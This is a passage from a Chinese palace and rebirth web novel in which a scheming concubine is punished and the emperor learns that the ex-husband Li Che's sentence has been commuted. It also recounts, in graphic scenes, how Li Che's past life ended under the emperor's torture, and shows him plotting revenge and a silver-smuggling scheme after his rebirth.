说出口,冯氏自己都笑了,白眼险些翻到天上去,“一个妾,我能算计她什么?她也配!” 赵怀良深吸口气,这冯氏的脾气真是一如既往。 他遂转向长公主,深深作揖,态度谦卑,“还请长公主恕罪,看在这是下官家事的份上,让下官自行处置吧。” “这何止是家事?” 冯氏不依不饶,今日若是轻轻揭过了,岂不又让方姨娘逃过一劫?那她们大张旗鼓闹这一出为了什么?为了让赵怀良再心疼方姨娘多一些吗? “老爷,您可不要糊涂避重就轻了,光凭这方巧儿这三言两语,您就信她和外男清清白白?这都铁证如山了……” “冯如兰!” 赵怀良低声怒斥,警告她闭嘴。 冯氏的暴脾气立时蹿上来,“长公主殿下,这娼妇败坏门风不说,还诬陷县主,险些害县主名誉扫地,这不能不追究啊!” 长公主看到现在,也看出了赵怀良的立场,颇有微词,“赵大人,事关县主还有谭夫人,甚至还牵扯到了新科士子,又岂是简单一句家事就能带过的?” “这……”赵怀良抹了把额汗。 众目睽睽之下,他已被架在火上灼烤。 赵老夫人一声威严的呵斥传来,“方巧儿挑拨是非,罪不可恕,若不严惩,赵怀良你就别认我这亲娘了!” 赵怀良扑通跪下,惶惶不安地看着母亲。 赵老夫人在孟氏的搀扶下,拄着拐杖缓缓走来,睨了方姨娘一眼,“事情我都听说了,这方姨娘是否与外男通奸暂且不论,横竖物证在此,信不信随你,但她敢联合外人害我赵家嫡女,我就绝不容她!” 语毕,拐杖重重敲击地面,质问谭夫人与袁四郎真相究竟如何。 袁四郎现在悔的肠子都青了,嚷嚷着自己的供述千真万确,若叫方姨娘轻轻带过,方姨娘是安全了,他这闹事的就得被扣个欺君罔上的罪名。 既然已经东窗事发,他不如坦白从宽,还能保住一条性命。 谭夫人怎么也有三品淑人诰命,慌乱过后,很快镇定下来,说是方姨娘告诉她的,这个游说的过程,与当初方姨娘劝说冯氏的说辞差不多,区别在于冯氏没信,她信了。 “我可没有害县主的意思,顶多……顶多就是多嘴多舌了些……” 赵老夫人听完,冲着赵怀良冷哼,“听到了吗?他们都招了,你还想袒护方氏到什么时候?” “母亲。”赵怀良一脸无奈,“儿子不是袒护,只是……” 赵老夫人干脆祭出杀手锏,“你是不是想分家了?” 赵怀良:“……” 最终拜倒屈服,磕了个头,“但凭母亲做主。” 方姨娘嘴角隐约噙着的笑意瞬间褪去,小脸煞白,“老爷……老爷!” 她扯着赵怀良的衣角不停哀求,对方始终低着头,没再多看她一眼。 方姨娘仿佛被抽走了浑身力气,颓然跌倒,赵老夫人转动佛珠,“方氏已犯七出,我便做主,将她休离出府……” 话音未落,赵江俨不顾下人阻拦,跌跌撞撞闯了进来,“父亲!祖母!你们不能休了姨娘!不能休了姨娘!” 他张开瘦小的双臂挡在方姨娘面前,不让任何人动她。 赵江俨是二房唯一的儿子,也是赵老夫人的孙子,二人到底不能完全忽视他,老夫人直接让仆婢将他带走。 谁知赵江俨居然抢先一步挣脱,抱着院里的一棵树不撒手,“你们若是休了我姨娘,我、我就撞死在这!”说完跃跃欲试,果然唬住了不少人。 仆婢们投鼠忌器,不敢再上前,就连赵怀良也吓白了脸,连哄带骗地说,“江俨,你千万不要冲动,我不休,不休你姨娘就是!” 赵江俨将信将疑,但还抱着树不松手,随时要撞上去。 气得赵老夫人胸口一阵起伏,“混账东西!谁教了你这一哭二闹三上吊的把戏!” 方姨娘不仅不觉羞愧,还目光含泪欣慰地看着儿子。 冯氏咬牙切齿,该死的方巧儿,不就仗着运气好生了个儿子,还是二房的独苗,莫说老爷宝贝着,老夫人同样爱惜这孩子。 看来,她今日是白折腾了。 久不出声的赵清仪柔柔开口,“祖母莫气,依孙女看,这孩子还是得跟着嫡母才行。” 她没有冯氏那般乐观,一开始就没想过靠这点事整垮方姨娘,对方有二叔的宠爱,还有个儿子傍身,又在府中立足已久,冯氏和她作对了十几年,都没能削减方姨娘在二叔心里的地位。 况且就算休了,以二叔对方姨娘的宠爱,多半会把人养在宅子外,要收拾起来更棘手了。 既然方姨娘不肯走,那就永远留下吧。 “二婶侍奉赵家多年,没有功劳也有苦劳,房里唯一的儿子,还是过继给二婶为好,将来二婶老了,也还能有个儿子承欢膝下。”抢儿子这种事,赵清仪都熟练了,笑吟吟地劝着老夫人。 冯氏一听就炸,“我才不替那贱人养……” 赵温仪再次用胳膊肘捅了她一下,冯氏眼睛一转,想到了那个被赵清仪养在庄子上的骏哥儿。 那也是个见不得光的奸生子,庶子,最后还不是被赵清仪这个嫡母掌控了,将来是好是坏,前程如何,全看这位嫡母的意思。 想到这关键处,冯氏便笑着改口,“那敢情好啊,我就愁没儿子傍身,若是婆母愿意,儿媳自然也愿意。” 哼,等她把赵江俨那小兔崽子抢过来了,看方姨娘还如何蹦跶。 方姨娘面上的胜券在握顿时荡然无*存,她想跑过去抱回儿子,冯氏的贴身嬷嬷抢先一步,将呆愣的赵江俨从树上扯下来。 冯氏笑眯眯地摸摸他的脑袋,“好儿子。” “别碰我!”赵江俨一身反骨,就要甩开冯氏的手。 赵老夫人深吸口气,瞪看赵怀良,“这就是妾室教养出来的儿子!没有半点规矩!” 赵怀良赶紧附和,命令赵江俨跪下给冯氏认错。 方姨娘心如刀绞,这可是她捧在掌心里的宝贝儿子啊,如今要被人抢去,还受这等磋磨。 赵江俨不肯跪,长公主等人纷纷冷眼瞧着,这无疑是下了赵怀良这位父亲的脸面,“逆子!你是要反了天吗?!” 赵怀良怒喝一声,扬手打了赵江俨。 方姨娘痛哭尖叫,“不要!不要打他!江俨还是个孩子!” “慈母多败儿,看看你教出来的好儿子!”赵怀良这次的怒气真情实感多了。 从前他偏爱妾室,连带着看他们的儿子也觉得千般好万般好,可时至今日,当着这么多人的面,他才意识到自己错的有多离谱。 看看赵江俨,都快十岁了,还没个定性,对外欺软怕硬,对内就耍弄些非男子气概的手段,一哭二闹成何体统! 再把孩子养在芳菲院,指定是废了。 赵江俨再不情不愿,还是被仆婢们扭着送到了冯氏院里,冯氏笑得不行,一个劲儿地说老爷英明,婆母英明。 不过赵怀良到底顾忌这唯一的儿子,拿赵江俨当挡箭牌,将休弃方姨娘的事拒了,推说要等孩子再大一些,再处置方姨娘。 赵老夫人听得出这不过是缓兵之计,便下令将方姨娘禁足,不得踏出芳菲院半步,就连院中的例份也一应削减。 孟氏站在老夫人身边,丝帕掩唇轻声道,“婆母,儿媳觉得,东西两府还是分开吧。” 从前是东西两大跨院,如今孟氏口中说的却是两府。 二房一而再再而三的作妖闹事,大房心中也有怨气,尤其这次证据确凿,赵怀良却不肯赶走方姨娘,那就休怪大房不顾念兄弟情分。 他就抱着他的爱妾过一辈子吧。 “分家具体事宜,等夫君归家再行商议,如今儿媳想先在两府之间修建隔墙,各开一门,从此两房各过各的。”孟氏嗓音柔柔,却带着不容拒绝的坚定。 赵老夫人今日对二儿子颇为失望,从前最不愿分家的就是老夫人,现如今她不得不松口了,“也罢,就依你。” 赵怀良神色僵硬,冯氏的笑脸垮下,一把揪住方姨娘的头发泄愤,“都是这个贱人,前前后后都折腾出多少幺蛾子?要不是你,我们赵家怎会离心?我看你就是个祸害!你若要脸,就该回去一根绳子吊死算了!” 方姨娘被揪得头皮生疼,捂着头发吱哇乱叫。 向来最心疼她的赵怀良,这次选择了沉默,任由冯氏将人拖走。 随后长公主亲自下令处置了另外两人,褫夺谭夫人的三品淑人诰命,其夫官降一级,以作惩戒,至于袁四郎,自然是剥夺功名,贬为庶人,此后不得科举,朝廷永不录用。 身为长公主,这点先斩后奏的权力她还是有的。 待一切事情处理完,李衡羞愧地冲赵清仪作揖道歉,“还是……给县主添了麻烦。” 赵清仪淡淡嗯了声,转身离去,态度较以往明显冷淡,甚至连客套的敷衍都没有了。 倒也不是怨恨他,赵清仪只是觉得没必要,从此只当陌路即可,既是陌路,又何必多说。 她本就对李衡无意,而方姨娘算计的背后,不管李衡曾经有过怎样的挣扎,事实就是,他的感情确实给她造成了不小的麻烦。 她还做不到宽容大度,当一切都没发生过。 长公主离开赵家后,没有再回乔府,转头进宫去了,今日之事,她必须要告诉皇兄一声,觊觎她未来嫂嫂的人实在太多了。 到了紫宸殿,长公主开口就问,“皇兄打算瞒到几时?你再不快些,哪日县主成了别人的夫人,皇兄你可别哭。” 楚元河从堆积如山的奏折里抬起了头,眼神锐利如刀。 长公主便将今日发生的事一五一十说与他听,末了又催促,“我看这未来嫂嫂是个外柔内刚之人,你骗了她这么久……” 长公主想想,都替自家皇兄捏了把汗。 这也正是楚元河无奈之处,当初他用平西郡王的身份接近赵清仪,只是为了方便行事,后来也确实达到了自己的目的,至少他在赵清仪心里是有一席之地的。 但谎言始终是谎言,纸包不住火,早晚有一日他要向赵清仪坦白身份,可真到那时,赵清仪还是否愿意接受他,楚元河没把握。 “……再等等吧。”楚元河垂眸,按下翻涌的躁意,随手翻过一封奏疏。 长公主坐在下首,想到一人,“对了,罪臣李彻是不是要流放了?” 流放? 楚元河一怔,手中奏折已然摊开,正巧是三司联名上呈的奏疏,关于李彻的。 当日在大理寺,他下令判处李彻绞刑,但因李彻始终不肯写下和离书,便先将他关押在北镇抚司的诏狱中受遍酷刑,直到太皇太后那封懿旨,否认了这桩婚事,和离书写与不写都不重要了。 楚元河又忙于繁杂的国事,没再过问李彻的死活,现如今三司联名上呈奏疏,却是要为李彻翻案! 第63章 第63章陛下居然对他的妻……… 楚元河一目十行看过去,当即将奏疏扔在地上。 李彻在历遍酷刑后的某日,忽然在狱中喊冤,后来又不知耍了什么手段,竟然说动狱卒为他传话,最后他喊冤的声音传到了王次辅耳朵里。 王次辅甚至到狱中见了李彻一面,二人说了什么,无人得知。 再后来,王次辅也认为此案疑点重重,勒令三司重新会审,王家身为大梁数一数二的世家门阀,门客遍布天下,命令底下几个官员还是做得到的,最终三司会审后,将李彻的绞刑改判流放,前几日才写了折子送至御前。 官员犯案获罪,通常在行刑前要经过皇帝最后的审批,而内侍给折子分类时,都会将最要紧的国家大事放在前面,那封改判李彻的奏折,内侍认为不算要紧,便将它缀在后头。 直至此刻,楚元河随手翻阅,才看到这份奏疏。 楚元河一拍桌案,殿内几人同时噤声,大气不敢喘。 只有长公主敢去捡那份奏疏,看过之后,神色复杂地望着皇兄,这事儿她得知不久,还以为皇兄早知道了。 “这王仰止的手未免伸得太长了。”长公主极少见皇兄发怒,小心翼翼地试探着问,“可要皇妹为皇兄分忧?” 她也理解,楚元河身居高位,掌控天下的同时,还得爱惜自己的名声,有些事情不宜他亲自动手。 “浙江官场尚未厘清,此时动王家,势必打草惊蛇,那些被世家大族吃进去的银子就吐不出来了。” 愤怒过后,楚元河很快冷静下来,召来司礼监秉笔黄内侍,将提议为李衡翻案的三司主官拎出来,只要是可顶替的,无关紧要的角色通通寻个由头处置了。 至于改判之事,楚元河略一思忖,在奏疏上落下自己的朱批。 流放是吗?想好死不如赖活着? 行,他允了。 他会让李彻后悔这个决定,既然不想死,那就体会下什么叫生不如死。 赵清仪是在隔日方听闻李彻的案子改判了,从最初的绞刑改为流放西北三千里做苦役,流放的日子就定在两日后。 和离过后,赵清仪已经很少想起这号人了,蓦然从婢子口中听到这个名字,觉得或许是个了断的时机,便向孟氏提出回自己的宅子看看。 东西两府中间的墙已经砌得七七八八了,二房的人无论是主子还是下人,没有孟氏允许,是进不到东赵府的,赵清仪也放心。 回到赵宅,那种物是人非,时过境迁的感觉才渐渐真实起来,管事妈妈也回到这里,之后就不走了,由管事妈妈负责看顾这座宅子。 赵清仪看着曾经住了三年的院子,想起了前世李彻在她病榻前甩下休书的样子,干脆翻找出她重生当日,表兄孟嘉文送给她的那套霞影纱裙。 当时是为了庆贺李彻调任回京,想让她穿上这身衣裳迎接李彻的回归,今日她要去了断一些恩怨,索性换上。 只是更衣时,一本小册子从她身上掉落,檀月俏月不解,好奇地捡起来。 赵清仪恍然想到什么,一把抢过来,重新塞回怀里,那是送张婉琰出嫁当日,对方慌乱之下塞给她的,她居然带出来了。 婢子面面相觑,咬唇忍笑,谁也没去追究那小册子是为何物。 — 上头批下来后,李彻就被带到刑部大牢关押着,这也是内阁王次辅的意思,在这里,王家势力想渗透进去还是轻而易举的。 李彻身上换了干净的囚服,关押在甬道最深处的一间牢房里,此刻他正靠着墙壁闭目养神,除了鬓角散落的几缕发丝略显狼狈,瞧着还有几分淡然的闲适。 过来巡视的狱卒们见了他,私下里忍不住议论,“……听说他在诏狱里受尽酷刑,整日哭爹喊娘的,忽然一天就跟变了个人似的,还很镇定地说要见王阁老。” “这有什么可奇怪的,说不准他是为了活命,要向王阁老告发自己岳家……”哦不,现在不是岳家了。 但李彻娶过赵家女是事实,作为女婿,他能知道岳家一些不为人知的隐秘实属正常,不然王次辅怎么会亲自到狱中见李彻。 狱卒们也只是猜测,等他们议论的声音走远了,牢房里的始终闭目。 李彻面色沉静,苍白的唇勾起一抹冷笑。 没想到啊,两辈子了,他居然都在牢房里。 过往几十载的人生匆匆而过,如今想来还觉得是大梦一场。 那一世,他过得可谓顺风顺水,他有赵清仪这样的贤内助,岳父一家绝户后,赵家的层层关系通过妻子,落到他李彻手中,他成了上京炙手可热的新贵。 再后来,短短十来年的光阴,他从区区从六品的翰林编修,一路畅通无阻地升至内阁,而他的儿子李骏,也在赵清仪的教养下出人头地,二十岁的年纪便一举高中状元。 当初的落魄寒门再度崛起,在上京挣到了一席之地,他的母亲罗氏,在这富贵乡的滋养中成了人人敬仰的老夫人,他的妹妹李素素,婚姻虽有波折,最终也还是安安稳稳当上了忠勇伯府夫人。 还有……还有他娇养了二十年的心爱的女人。 李彻觉得,至死之际,他应该还是爱她的。 家中发妻在操劳中渐渐老去,芳华不再,而他的漫儿,快奔四十的年纪,享受了半辈子的富贵荣华,从未受过丝毫磋磨,让她依旧保留着少女时的娇媚可人,对方也二十年如一日的温柔小意,总能令他满意。 李彻觉得,那一年是他李家最风光的一年。 他当上了首辅,他的儿子中了状元,糟糠妻猝然病重,临死前,陛下还给他的妻子赵氏封了一品诰命。 赵清仪终于熬到头了,她可以功成身退了。 李彻则要娶赵漫仪做平妻,在他小登科当夜,他给了赵清仪一封休书。 不出意料,他连着下了十几年的毒药弄垮了赵清仪的身子,在得知真相后她气血攻心,最后吊着的一口气也散了。 李夫人的位置,她占了二十年,是时候还给漫儿。 当晚,李彻赏了赵清仪一卷草席,还赐了檀月俏月一人一杯鸩酒,从此以后,这座宅子只有他李彻一个主子,他和骏哥儿,还有漫儿,他们才是真正的一家人。 李彻原以为余生将是一片光明,可就在他迎娶赵漫仪过门的翌日,陛下一道旨意召他入宫,平静地祝贺他新婚之喜。 随着祝贺而来的,还有一摞又一摞的弹劾奏疏。 李彻跪在殿中,听着昔日巴结讨好他的御史,反过来在折子上将他痛批成猪狗不如的禽兽。 许许多多他自以为处理干净的陈年往事全被翻出来,李彻承认,他为官二十载,确有犯错的时候,可他绝对没做过对不起朝廷的不忠之事,他没有通敌叛国。 可仅仅是一封猜疑的折子,就惹得陛下龙颜大怒,甚至都没过问半句,当场给他定罪,将他打入诏狱。 通敌叛国可是诛九族的大罪,不出意外,他的母亲,他的妹妹妹婿一家,甚至还有他的新婚妻子赵漫仪,他的嫡子李骏,顷刻间通通入狱。 李彻只在诏狱中匆匆见过家人一面,过后他就被单独关押在一间暗无天日的水牢里。 并没有人来审他。 李彻想,如果有官员前来审问,他还能设法辩解逃出生天,可是没有。 他被关在水牢里,半截身子泡在潮湿的血水中足足三日,也饿了三日,就在他以为自己快要死的时候,紧闭幽暗的牢门终于开了。 一道高大的玄色身影走了进来。 李彻颤巍巍地抬起头,目之所及,只有一截滚边玄色锦袍,袍角依稀绣着……五爪金龙。 困在水牢中的李彻猛然惊醒,旋即狂喜,他一个劲儿地喊冤,求陛下详查,他真的没有通敌叛国。 最多……最多就是卖官鬻爵,手里有过几条人命罢了。 可身居高位者,哪个手里没有犯过人命? 也不见得陛下事事追究,不然这大梁的官员世家怕是早就杀光了,没有他们,谁来替这个王朝卖命? 李彻笃定,即便过去犯的命案翻出来了,陛下也会看在他是当朝首辅的份上,小惩大诫,不会真的要他命。 锦衣卫解开了束缚他手脚的绳索,他被锦衣卫拖到帝王跟前。 李彻激动万分,恭敬行完大礼,等着陛下开口询问,只要陛下问了,他就把准备好的说辞脱口而出,然而等到的,只一句无关痛痒的话。 “赵氏是如何死的?” 李彻不解,陛下为何要关心他的亡妻,却还是恭敬回话,“贱内沉疴在身,是病逝的。” 他回答得毫不心虚,半晌,头顶只有一声极其轻微的笑,又轻又快,让人琢磨不出那笑的深意。 “李彻啊李彻,你可知满朝文武,朕为何独独重用你?” 李彻心想,这还用问吗,当然是他的能力,面上却是谦虚的,“罪臣……罪臣不知。” “因为你有个好妻子。”二十年过去,帝王的嗓音不复年轻时的清朗,透着历经千帆的沉稳与难以捉摸。 李彻只能说是,他承认,他的确娶了个好妻子,没有赵清仪倾尽全力的扶持,他想坐到如今的位置,怕是还得多几年。 帝王又问,“那你可知,今日你又因何入这诏狱水牢?” 李彻沉吟片刻,借机认罪,是他辜负了陛下的信任,做了些小小的错事,他以后会改的。 帝王又给他一次机会,问他还有什么没交代的。 李彻绞尽脑汁想遍了,摇头,“没、没有了……” 话音未落,帝王骤然将他提起,按在布满各式各样刑具的桌子上,同时抽出离他手边最近的刮骨刀,用力洞穿他一只耳朵,鲜血顷刻喷溅而出。 “啊!” 李彻的嚎叫尖锐刺耳,一切都来得太过突然,剧烈的疼痛让他浑身哆嗦,冷汗瞬间浸透他的囚服。 帝王居高临下睥睨着他,声音不复方才的平和,阴森可怖,“死到临头,还不说实话!” “我说!我说!” 李彻害怕极了,因为一只耳朵被钉在桌子上,他的头颅只能以一个扭曲的弧度贴在桌子上,他终于吐露真相,说出发妻的死。 但只说了一半,他想娶心爱的女人做平妻,赵清仪不肯,病弱的她一时气怒攻心,这才殁了。 李彻不敢把给发妻下药的事说出口,反正都过去多年了,查也查不出,死无对证了。 可就凭他交代的只言片语,也足以激怒这位阴晴不定的帝王,他慢慢拔出刮骨刀。 李彻感受着疼痛一点点蔓延,大口大口地喘气,不敢动弹分毫,只要一动,他的耳朵就要掉在这桌子上,再也回不来了。 就在刮骨刀完全抽离的刹那,帝王抵着他的脑袋,朝他另一只耳朵狠狠刺了下去。 水牢里再次传出杀猪般的惨叫,李彻痛到几欲晕厥,锦衣卫便拎着冰冷的盐水泼过来,百倍的疼痛瞬间放大至千倍万倍,那一刻,李彻真的想死。 他不明白自己究竟做了什么,惹得龙颜大怒,让陛下亲自动手,还是以这样折磨人的手段。 他叫,他哭,四十来岁的人了,哭得涕泪横流,狼狈不已。 帝王不再是帝王,简直堪比十八层地狱的阎王修罗! “你口中的心爱的女人,是赵漫仪,是你养了二十年的外室,你们还有一个儿子……” “是……是!罪臣知错了!罪臣知错!罪臣不该朝三暮四,不该欺瞒发妻!”什么都被扒出来了,李彻没有狡辩的必要,他只想快点结束痛苦。 他以为只要他认得快,帝王就会放过他,毕竟这充其量只是他的家事而已,他虽不道德,却远不到威胁一个王朝的地步,帝王没理由因为他养外室,因为他有个奸生子就杀了他。 可他料错了。 帝王用难以置信的语气问他,“这些事……你告诉她了?” 李彻痛得脑子都快糊涂了,好半晌都缓过来,陛下口中的“她”是谁。 刮骨刀钉着他的鲜血淋漓的耳朵,狠狠拧了半圈。 “啊——” 凄厉的惨叫响再度彻整座水牢。 “朕问你,你的这些破事,你是不是告诉她了!”帝王的手猛然掐住他脖子,歇斯底里地质问。 李彻疯狂想点头,可是一动又牵扯到耳朵,他大哭着承认,他告诉她了,什么都告诉她了,不然以赵清仪温和沉稳的性子,又怎会大悲大怒之下猝然断气。 黑暗之中,帝王掐住他脖颈的手隐隐发抖,虎口处的陈年旧疤仿佛在这一刻寸寸撕裂,再难愈合。 “李彻,你怎么还有脸活着?” 帝王的声音又变得很轻,只有他们两人能听见。 那只手缓缓抽离,帝王慢慢解开李彻用来束发的头绳,一点点缠绕在他脖颈上。 散落的乱发遮掩住李彻惊恐交加的眼睛,他拼命拽着脖颈上的发带。 ……不要,他不要死! “陛下,罪臣知错!罪臣真的知错……呃!” 头绳两端交错,在帝王的掌心也绕了一圈,再用力收紧,幽暗的狱火中,帝王双目赤红,杀气四溢。 “你既然要骗她,为什么不继续骗下去?为什么!” “不……啊啊——” 强烈的窒息感扑面而来,李彻都顾不得被钉在桌上的耳朵,拼命涌动身子想要挣扎。 可他的挣扎,无疑是蚍蜉撼树,可笑罢了。 “你为什么不继续骗下去?为什么要告诉她真相?!” 帝王用力拉扯头绳两端,暴露在黑暗中的手背筋骨分明,“你连这点小事都做不好!朕还留你有何用!” “你以为告诉她真相,把她逼死了,你们李家就能痛痛快快,再无顾虑地活在这个世上吗?” “李彻,你配吗!” “不……”过于奋力挣扎,那只耳朵永远钉在了桌子上。 李彻如猪狗般的残破.身子滚落。 帝王这才松手,冷眼看他跌在地上,扶着脖颈苟延残喘。 李彻得以喘息,蹬着腿不断往后退,看着帝王的眼神,是前所未有的恐惧。 他似乎隐隐明白了什么,可又不明白。 怎么会……那个他看都不屑多看一眼的女人,在帝王眼里,竟有如此分量吗? 她只是死了而已,就要他李家满门陪葬! 帝王英俊的面容布满厉色,跳跃的火光衬得那张脸艳如修罗,昳丽又狰狞,在李彻眼中,陛下的模样始终是模糊的,他从不敢直面龙颜。 此刻,李彻同样不敢。 他只敢看帝王的手,对方拔出了那柄小小的,薄如蝉翼的刮骨刀。 李彻盯着刀上属于自己的,血淋淋的耳朵,顿觉双腿发软,眼前发黑。 可是他不敢晕过去,晕过去了,又会是一盆盐水浇下来,那种痛苦他不想再承受了。 帝王扬手一掷,将他的耳朵随意钉在墙上,又从五花八门的刑具里找到一根细长的铁针。 他拿着铁针走到李彻跟前,慢慢蹲下去,“你因为她,富贵荣华,风光一世,如今她不在了,你是不是该做些什么?” 李彻哆嗦着发誓,“罪臣一定给清仪立功德牌,日日为她诵经祈福,诚心忏悔……” “这不够诚意啊。”帝王声音幽幽,贴着他血流不止的另一只耳朵,“你这辈子,胜在眼光毒辣,一眼看中了朕喜欢的女人。” “你因她享受了太多不该属于你的好处,如今她不在了,你更应该感恩戴德地回报……” “只是李彻,你拿什么还给她?” 字字句句深入李彻肺腑,他惊骇交加。 陛下、陛下居然……居然对他的妻…… 不不不,陛下喜欢的,那就是陛下的女人,不是他的妻! 李彻怕极了,赶紧跪好,“罪臣知错,罪臣不该不知死活,与陛下争抢女人,一切都是罪臣有眼无珠……” 对,他有眼无珠,早知道赵清仪是陛下喜欢的人,他就该把人献给陛下才对。 帝王闻言,果然笑了,“有眼无珠?也对,你眼光很好,但也确实有眼无珠,错把鱼目当珍珠,既如此,就留下这双眼睛吧。” 锦衣卫端来炭火,帝王将那根银针刺入炭火中,命令他,“取出来,自戳双目,留下你的眼珠子,朕可以给你一个活命的机会。” 李彻面上最后一丝血色褪去。 “放心,过了火的铁针,戳入眼中,血肉会瞬间凝固,可以带出完整的肉,且止血极快,你不会因为失血过多而死。” 帝王凑近他乱蓬蓬的脸笑了,“动手啊,你在怕什么,你不是要诚心忏悔吗?” 李彻抖如筛糠,极大的恐惧压在心头,让他说不出半个字。 “怎么,哑巴了?” 帝王闲散的笑一收,手里又多了一把小刀,“是这舌头,也不想要了?” ……什么?还要他舌头! 李彻猛然回神,转头匍匐在地,疯狂朝水牢深处爬去。 他宁愿一辈子困在水牢,也不要面对这个丧心病狂的男人! 锦衣卫上前,带着内劲的一脚重重落在他膝弯处,骨骼粉碎的嘎吱声骤然响起,钻心刻骨的疼痛蔓延至李彻全身每一寸骨血。 李彻再次嚎叫,拖着另一条腿还想逃,锦衣卫索性将那条腿一并踩断。 “啊啊啊——” “陛下,臣罪该万死,求您赐臣一死吧!” 李彻认命了,他不想活了,这样活着还有什么意义?他不如死了好,求求了,给他一个痛快吧! 帝王又岂会让他如愿,一切,才刚刚开始。 他要把李彻一家施加给赵清仪的痛,千百万倍的偿还! “呵、呵呵……” 帝王轻声笑了,笑得悲怆又凄苦,真正有眼无珠的,还有赵清仪那个女人啊,偏偏嫁了李彻这么一个无用的东西。 下辈子,别再嫁了。 帝王心中呢喃,慢慢站直身子,“李大人的惨叫,朕闻之甚悦,舌头就姑且留着,先要一双眼珠吧。” 他吩咐完,转身出了水牢,经过隔壁牢房时,脚步稍作停留。 罗氏,李素素,还有赵漫仪与李骏,四人紧紧抱在一起,瑟缩着发抖,李彻的惨叫声她们听得清清楚楚。 “喜欢吗?” 帝王心情好了一点,笑声嘶哑,“他的惨叫声,好听吗?你们若喜欢,就祈祷李彻那个废物能撑得久一些,等他死了,就轮到你们了。” 别急,一个一个来。 几个女人最先招架不住,抱头惊恐尖叫,与隔壁李彻被戳双目后爆发的凄厉惨叫完美融合…… 李彻猛地睁开眼睛,额上冷汗悄然滑落。 他颤着手,缓缓摸上自己的眼睛,还在,还在。 他的耳朵,他的腿,还有他的舌头都在,身上除了伤痕累累以外,还算四肢健全。 只是一场梦。 他李彻重生了,他不会再落到上辈子的境地,他一定会逃出这座牢房,他要堂堂正正的活着! 他还要……推翻大梁王朝! 第64章 第64章“般般,我疼……”…… 既然帝王不仁,诬陷他通敌叛国,那这一世,他非要坐实这个罪名不可。 虽然重生多日,但李彻心中尚有许多疑问,因为这一世发生的事,与上辈子相差甚远,譬如他的妻。 上一世,赵清仪明明很爱他,这时候还在为他们的小家辛苦操持,还在教养他的骏哥儿,只是不知哪里出了差错,他居然下狱了。 而他的妻子赵清仪…… 李彻刚要去想,脑仁一阵抽痛,太多记忆混杂着,让他一时理不清头绪,他只隐约记得,赵清仪要与他和离? 对,和离,他们还上了公堂,还有他前世的好儿子李骏,居然帮着赵清仪指认自己,至于他的漫儿…… 难堪的画面在脑中一闪而过,尽管这画面出现了很多次,李彻每每想起来都会觉得不可思议。 他的漫儿怎么变成了这样? 蛮横无礼,红杏出墙,还屡屡顶撞他,就因为让她……做了他的贱妾?! 李彻终于意识到事情的严重性,这一世,尤其近两年发生的事,与他上辈子的记忆有太多出入,完全对不上,一切都乱套了。 好在他还有重生带来的先知,有些事依然在掌控范围内,自己三两句道破王家在浙江贪墨的数目,便吓得次辅王仰止连夜过来见他,想问李彻从何得知的消息。 李彻当然不会告诉他真相,故意卖弄几句,便让王次辅投鼠忌器。 在王次辅看来,李彻就是个小喽啰,可一个小喽啰居然都能知道王家秘辛,可见他背后另有高人。 或许是赵怀义,又或许……是他猜不到的人。 光是这些猜疑,足够让王次辅出面保李彻一命,真怕他死了,背后之人会不顾一切抖出王家在浙江贪墨的数额。 陛下本就有意清算世家,这时候若有人将证据递上去,陛下岂不是瞌睡遇上枕头,他绝不可能错过如此良机。 至于知道秘密的李彻…… 等出了大牢,再让他来个意外身亡不算难事。 可王次辅不知,眼前的李彻已然换了个芯,他是前世四十三岁的李彻,是位居一品的内阁首辅,王次辅打的什么主意,他用脚趾头都能猜到。 他又告诉王次辅,他还知道,王家早与岐王勾结,除了侵占土地,还在暗中走.私盐铁,串通琉球,所图甚大。 王次辅闻言不再是震惊那般简单,李彻字字句句直切要害,令他大为震撼,也生出了忌惮。 面上却哂笑道,“污蔑朝廷命官,可是要罪加一等的。” “王阁老不会杀我,虽然阁老对在下不感兴趣,但在下如何知晓这许多秘密,阁老一定非常好奇。” 李彻也笑,胸有成竹道,“只要阁老网开一面,在下定能助阁老、助岐王殿下一臂之力。” 为彰显诚意,李彻还告诉他,这一年税法变革,即便再遇天灾,陛下也会出其不意对浙江几个富裕的州县征税,以试行新政成效。 “……阁老不妨提前囤积大量白银,待新政实行,到了要征税的关口,岐王,王家,还能从中获益,有利可图。” 上一世,赵怀义不在,只有张淮虚苦苦支撑新政的推行,新政虽好,却仍有不足,就譬如征税改用折银之法,虽省去了中间的诸多反锁,一定程度避免了底下官员贪腐,却未考虑到白银的稀缺。 白银历来掌握在商贾和官府手里,若要交税,百姓还得拿自己的粮食向他们置换白银,这就给了世家牟利钻空子的机会。 只要世家提前垄断白银,置换时,多少粮食才能换取一锭白银,就由持有白银者说了算,这其中的利益可想而知。 王次辅再次骇然,新政条例已出,可具体如何施行,尚未对外宣扬,他自己都不知道征税的事,更不知朝廷只收白银。 不过想想也合乎情理,毕竟粮食等物入库运输相对繁琐,不如白银方便,不单粮食,一切税目皆可折银。 “大梁自身不产白银,大量囤积需靠海市,如此大张旗鼓,不可能瞒过朝廷耳目。”王次辅姑且信他一回,说出了心中的忧虑。 李彻勾起唇角,“这有何难?寻个替罪羊不就成了。” 他恰好知道,孟家商船不久前从浙江出发,运了一*批丝绸出海,回来时商船定然是满载而归,王家大可来一招偷梁换柱,利用孟家商船走.私白银,之后再推孟家去当替罪羊,而走.私的白银尽数抄没,最后同样能回到官府手里。 “赵怀义如此坚定支持新政,皆因妻族富贵,影响不了他,可若妻族倒了,赵怀义缺钱了,他还会真心实意继续支持新政吗?新政迫害的,是所有世家大族的利益。” 当赵怀义自身的利益受损,临阵倒戈是人之常情。 此计不可谓不恶毒,值得尝试。 王次辅心动了,再看李彻,眼睛里添了一份赞赏。 至此,李彻算是成功自救,待他离开牢房,他会将失去的一切重新抢回来,让错乱的轨迹回到正途。 李彻深吸口气,慢慢平复胸中的激荡。 甬道口,响起狱卒恭敬的见礼声,“县主。” 赵清仪的出现,像是往这沉闷死寂的牢房投入一抹绚烂的晚霞,一路走去,满身的珠光宝气,灼灼耀目。 李彻听着脚步声的靠近,缓缓撩开眼皮,只一眼,心脏深处仿佛被一只大手攥住,疼,却也跳得鲜活。 他眼底的灰暗的阴霾一点点散去,看着赵清仪的眸子亮亮的。 这张脸,他也有许多年不曾见过了,上回见到这般秾丽张扬的她,是在十八年前?还是……二十年前? 李彻自己都记不清了,他连新婚夜都没来得及看看她,就匆忙奔赴岭南上任,再后来,他的人生里几乎只围绕着赵漫仪一个女人,以至于他只记得赵漫仪的娇俏媚人,全然想不起他的发妻。 